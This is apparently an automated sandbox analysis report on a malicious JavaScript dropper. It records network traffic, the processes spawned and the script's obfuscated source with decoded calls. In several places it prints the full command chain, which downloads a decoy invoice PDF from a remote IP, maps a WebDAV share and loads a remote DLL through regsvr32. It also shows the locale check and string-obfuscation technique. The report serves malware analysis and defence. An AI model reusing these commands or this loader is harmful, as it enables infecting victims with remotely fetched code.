Jan 10, 2025 19:06:18.895101070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.895123005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.895154953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.895179987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.915553093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:19.080689907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:19.473659039 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:19.478724957 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:19.478909016 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:19.479881048 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:19.484702110 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:20.254348040 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:20.301935911 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:20.713506937 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:33.851670980 CET	50353	53	192.168.2.4	1.1.1.1
Jan 10, 2025 19:06:33.856592894 CET	53	50353	1.1.1.1	192.168.2.4
Jan 10, 2025 19:06:33.856662989 CET	50353	53	192.168.2.4	1.1.1.1
Jan 10, 2025 19:06:33.861576080 CET	53	50353	1.1.1.1	192.168.2.4
Jan 10, 2025 19:06:34.311101913 CET	50353	53	192.168.2.4	1.1.1.1
Jan 10, 2025 19:06:34.316071033 CET	53	50353	1.1.1.1	192.168.2.4
Jan 10, 2025 19:06:34.318114042 CET	50353	53	192.168.2.4	1.1.1.1
Jan 10, 2025 19:06:38.523904085 CET	59125	53	192.168.2.4	1.1.1.1
Jan 10, 2025 19:06:38.528678894 CET	53	59125	1.1.1.1	192.168.2.4
Jan 10, 2025 19:06:38.528861046 CET	59125	53	192.168.2.4	1.1.1.1
Jan 10, 2025 19:06:38.533771992 CET	53	59125	1.1.1.1	192.168.2.4
Jan 10, 2025 19:06:39.001528025 CET	59125	53	192.168.2.4	1.1.1.1
Jan 10, 2025 19:06:39.006707907 CET	53	59125	1.1.1.1	192.168.2.4
Jan 10, 2025 19:06:39.006783962 CET	59125	53	192.168.2.4	1.1.1.1
Jan 10, 2025 19:07:51.211589098 CET	53001	53	192.168.2.4	1.1.1.1
Jan 10, 2025 19:07:51.216475010 CET	53	53001	1.1.1.1	192.168.2.4
Jan 10, 2025 19:07:51.216603994 CET	53001	53	192.168.2.4	1.1.1.1
Jan 10, 2025 19:07:51.216700077 CET	53001	53	192.168.2.4	1.1.1.1
Jan 10, 2025 19:07:51.221462965 CET	53	53001	1.1.1.1	192.168.2.4
Jan 10, 2025 19:07:51.664047956 CET	53	53001	1.1.1.1	192.168.2.4
Jan 10, 2025 19:07:51.664714098 CET	53001	53	192.168.2.4	1.1.1.1
Jan 10, 2025 19:07:51.669759989 CET	53	53001	1.1.1.1	192.168.2.4
Jan 10, 2025 19:07:51.669814110 CET	53001	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:06:32.521105051 CET	57892	53	192.168.2.4	1.1.1.1
Jan 10, 2025 19:06:33.851219893 CET	53	57980	1.1.1.1	192.168.2.4
Jan 10, 2025 19:06:38.523420095 CET	53	56363	1.1.1.1	192.168.2.4
Jan 10, 2025 19:07:51.211014986 CET	53	59376	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:06:32.521105051 CET	192.168.2.4	1.1.1.1	0x901	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:06:32.527888060 CET	1.1.1.1	192.168.2.4	0x901	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7612	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:06:17.288418055 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:06:18.086096048 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:06:17 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 19:06:18.086112976 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:06:18.086132050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 19:06:18.086144924 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 19:06:18.086194992 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 19:06:18.086206913 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 19:06:18.086218119 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 19:06:18.086342096 CET	552	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 10, 2025 19:06:18.086354971 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 19:06:18.086374044 CET	224	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}
Jan 10, 2025 19:06:18.091156006 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7892	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:06:19.479881048 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:06:20.254348040 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:06:20 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:06:13
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853025795686920641.js"
Imagebase:	0x7ff6f4f90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:06:14
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll
Imagebase:	0x7ff615b20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:06:14
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:06:14
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:06:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	13:06:18
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff615b20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:06:18
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7641b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:06:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	13:06:19
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:06:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1684,i,4457413251022540206,16338453213962539139,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function kzylya() {	kzylya() ➔ undefined
1	iodbzf = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var zjyfpcxv = this[urljat + fmihedph + uutkhqhr + gybwltbj + jfujnr + ihqvygokv + mhxmzh + ztrdtypj] ( this[raifsp + ysbsxb + vyvvgbyfs + uutkhqhr + smadkqnu + urljat + ztrdtypj][ddapi + uutkhqhr + jfujnr + fmihedph + ztrdtypj + jfujnr + vwwgbeadm + egxbako + lflelb + jfujnr + vyvvgbyfs + ztrdtypj] ( raifsp + ysbsxb + vyvvgbyfs + uutkhqhr + smadkqnu + urljat + ztrdtypj + gdnohn + ysbsxb + pnnmmeomq + jfujnr + irampo + irampo ) [tamdlohc + jfujnr + eqskrur + tamdlohc + jfujnr + fmihedph + ihwso] ( betuz + xdtxjgcx + eysxn + nbhlstclo + tdoxikdv + ddapi + dkbyinku + tamdlohc + tamdlohc + eysxn + uhydw + sbpikukpk + tdoxikdv + dkbyinku + ysbsxb + eysxn + tamdlohc + egmeu + ddapi + voxcocht + mhxmzh + ztrdtypj + uutkhqhr + voxcocht + irampo + prfbtg + yrhcnb + fmihedph + mhxmzh + jfujnr + irampo + egmeu + ihqvygokv + mhxmzh + ztrdtypj + jfujnr + uutkhqhr + mhxmzh + fmihedph + ztrdtypj + smadkqnu + voxcocht + mhxmzh + fmihedph + irampo + egmeu + vhbaquqd + voxcocht + vyvvgbyfs + fmihedph + irampo + jfujnr ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qzvppkft = 0 ; qzvppkft < iodbzf[irampo + jfujnr + mhxmzh + eqskrur + ztrdtypj + pnnmmeomq] ; ++ qzvppkft )
4	{
5	if ( zjyfpcxv == iodbzf[qzvppkft] )
6	{
7	zjyfpcxv = true;
8	break ;
9	}
10	}
11	if ( zjyfpcxv !== true )
12	this[raifsp + ysbsxb + vyvvgbyfs + uutkhqhr + smadkqnu + urljat + ztrdtypj][vtjncrrus + frzkhugyz + smadkqnu + ztrdtypj] ( );
13	this[raifsp + ysbsxb + vyvvgbyfs + uutkhqhr + smadkqnu + urljat + ztrdtypj][ddapi + uutkhqhr + jfujnr + fmihedph + ztrdtypj + jfujnr + vwwgbeadm + egxbako + lflelb + jfujnr + vyvvgbyfs + ztrdtypj] ( raifsp + ysbsxb + vyvvgbyfs + uutkhqhr + smadkqnu + urljat + ztrdtypj + gdnohn + ysbsxb + pnnmmeomq + jfujnr + irampo + irampo ) [uutkhqhr + frzkhugyz + mhxmzh] ( vyvvgbyfs + tpfuvoy + ihwso + prfbtg + hffvmi + vyvvgbyfs + prfbtg + urljat + voxcocht + zfkzddt + jfujnr + uutkhqhr + gybwltbj + pnnmmeomq + jfujnr + irampo + irampo + gdnohn + jfujnr + cfjhpvob + jfujnr + prfbtg + fuqzfb + ddapi + voxcocht + tpfuvoy + tpfuvoy + fmihedph + mhxmzh + ihwso + prfbtg + lmtznclj + ihqvygokv + mhxmzh + rpivyh + voxcocht + lmbpusoc + jfujnr + fuqzfb + raifsp + jfujnr + egxbako + tamdlohc + jfujnr + bixkp + frzkhugyz + jfujnr + gybwltbj + ztrdtypj + prfbtg + fuqzfb + vwwgbeadm + frzkhugyz + ztrdtypj + lvkwog + smadkqnu + irampo + jfujnr + prfbtg + auqbqk + ztrdtypj + jfujnr + tpfuvoy + urljat + auqbqk + egmeu + smadkqnu + mhxmzh + rpivyh + voxcocht + smadkqnu + vyvvgbyfs + jfujnr + gdnohn + urljat + ihwso + ecorvt + prfbtg + pnnmmeomq + ztrdtypj + ztrdtypj + urljat + pqesd + hffvmi + hffvmi + akfsrf + momigpqpx + ctueuyk + gdnohn + akfsrf + uiurj + ctueuyk + gdnohn + akfsrf + gdnohn + chmpm + towxsan + fnnltofax + hffvmi + smadkqnu + mhxmzh + rpivyh + voxcocht + smadkqnu + vyvvgbyfs + jfujnr + gdnohn + urljat + pnnmmeomq + urljat + lmtznclj + cqfugo + cqfugo + gybwltbj + ztrdtypj + fmihedph + uutkhqhr + ztrdtypj + prfbtg + auqbqk + ztrdtypj + jfujnr + tpfuvoy + urljat + auqbqk + egmeu + smadkqnu + mhxmzh + rpivyh + voxcocht + smadkqnu + vyvvgbyfs + jfujnr + gdnohn + urljat + ihwso + ecorvt + cqfugo + cqfugo + vyvvgbyfs + tpfuvoy + ihwso + prfbtg + hffvmi + vyvvgbyfs + prfbtg + mhxmzh + jfujnr + ztrdtypj + prfbtg + frzkhugyz + gybwltbj + jfujnr + prfbtg + egmeu + egmeu + akfsrf + momigpqpx + ctueuyk + gdnohn + akfsrf + uiurj + ctueuyk + gdnohn + akfsrf + gdnohn + chmpm + towxsan + fnnltofax + bdlryggmq + xousctubk + xousctubk + xousctubk + xousctubk + egmeu + ihwso + fmihedph + rpivyh + zfkzddt + zfkzddt + zfkzddt + uutkhqhr + voxcocht + voxcocht + ztrdtypj + egmeu + cqfugo + cqfugo + vyvvgbyfs + tpfuvoy + ihwso + prfbtg + hffvmi + vyvvgbyfs + prfbtg + uutkhqhr + jfujnr + eqskrur + gybwltbj + rpivyh + uutkhqhr + ctueuyk + chmpm + prfbtg + hffvmi + gybwltbj + prfbtg + egmeu + egmeu + akfsrf + momigpqpx + ctueuyk + gdnohn + akfsrf + uiurj + ctueuyk + gdnohn + akfsrf + gdnohn + chmpm + towxsan + fnnltofax + bdlryggmq + xousctubk + xousctubk + xousctubk + xousctubk + egmeu + ihwso + fmihedph + rpivyh + zfkzddt + zfkzddt + zfkzddt + uutkhqhr + voxcocht + voxcocht + ztrdtypj + egmeu + xousctubk + towxsan + akfsrf + akfsrf + akfsrf + chmpm + uiurj + xousctubk + etgkptjk + chmpm + etgkptjk + fnnltofax + chmpm + etgkptjk + gdnohn + ihwso + irampo + irampo, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll",0,false) ➔ 0
14	}
15	bdlryggmq = "Z";
16	bdlryggmq = "H";
17	bdlryggmq = "o";
18	bdlryggmq = "o";
19	bdlryggmq = "l";
20	bdlryggmq = "D";
21	bdlryggmq = "c";
22	bdlryggmq = "y";
23	bdlryggmq = "I";
24	bdlryggmq = "z";
25	bdlryggmq = "i";
26	bdlryggmq = "J";
27	bdlryggmq = "i";
28	bdlryggmq = "L";
29	bdlryggmq = "T";
30	bdlryggmq = "L";
31	bdlryggmq = "C";
32	bdlryggmq = "M";
33	bdlryggmq = "T";
34	bdlryggmq = "P";
35	bdlryggmq = "e";
36	bdlryggmq = "A";
37	bdlryggmq = "U";
38	bdlryggmq = "e";
39	bdlryggmq = "I";
40	bdlryggmq = "G";
41	bdlryggmq = "I";
42	bdlryggmq = "P";
43	bdlryggmq = "r";
44	bdlryggmq = "o";
45	bdlryggmq = "F";
46	bdlryggmq = "q";
47	bdlryggmq = "I";
48	bdlryggmq = "r";
49	bdlryggmq = "d";
50	bdlryggmq = "x";
51	bdlryggmq = "E";
52	bdlryggmq = "z";
53	bdlryggmq = "j";
54	bdlryggmq = "B";
55	bdlryggmq = "L";
56	bdlryggmq = "i";
57	bdlryggmq = "X";
58	bdlryggmq = "@";
59	uhydw = "L";
60	uhydw = "h";
61	uhydw = "C";
62	uhydw = "H";
63	uhydw = "A";
64	uhydw = "J";
65	uhydw = "e";
66	uhydw = "I";
67	uhydw = "B";
68	uhydw = "E";
69	uhydw = "j";
70	uhydw = "a";
71	uhydw = "l";
72	uhydw = "T";
73	uhydw = "R";
74	uhydw = "j";
75	uhydw = "a";
76	uhydw = "E";
77	uhydw = "s";
78	uhydw = "P";
79	uhydw = "Y";
80	uhydw = "B";
81	uhydw = "c";
82	uhydw = "V";
83	uhydw = "f";
84	uhydw = "Z";
85	uhydw = "a";
86	uhydw = "M";
87	uhydw = "z";
88	uhydw = "X";
89	uhydw = "o";
90	uhydw = "E";
91	uhydw = "c";
92	uhydw = "b";
93	uhydw = "B";
94	uhydw = "P";
95	uhydw = "k";
96	uhydw = "G";
97	uhydw = "H";
98	uhydw = "i";
99	uhydw = "k";
100	uhydw = "Y";
101	uhydw = "N";
102	auqbqk = "R";
103	auqbqk = "q";
104	auqbqk = "I";
105	auqbqk = "q";
106	auqbqk = "s";
107	auqbqk = "P";
108	auqbqk = "x";
109	auqbqk = "z";
110	auqbqk = "M";
111	auqbqk = "p";
112	auqbqk = "a";
113	auqbqk = "U";
114	auqbqk = "e";
115	auqbqk = "a";
116	auqbqk = "d";
117	auqbqk = "n";
118	auqbqk = "x";
119	auqbqk = "O";
120	auqbqk = "O";
121	auqbqk = "p";
122	auqbqk = "c";
123	auqbqk = "D";
124	auqbqk = "V";
125	auqbqk = "X";
126	auqbqk = "r";
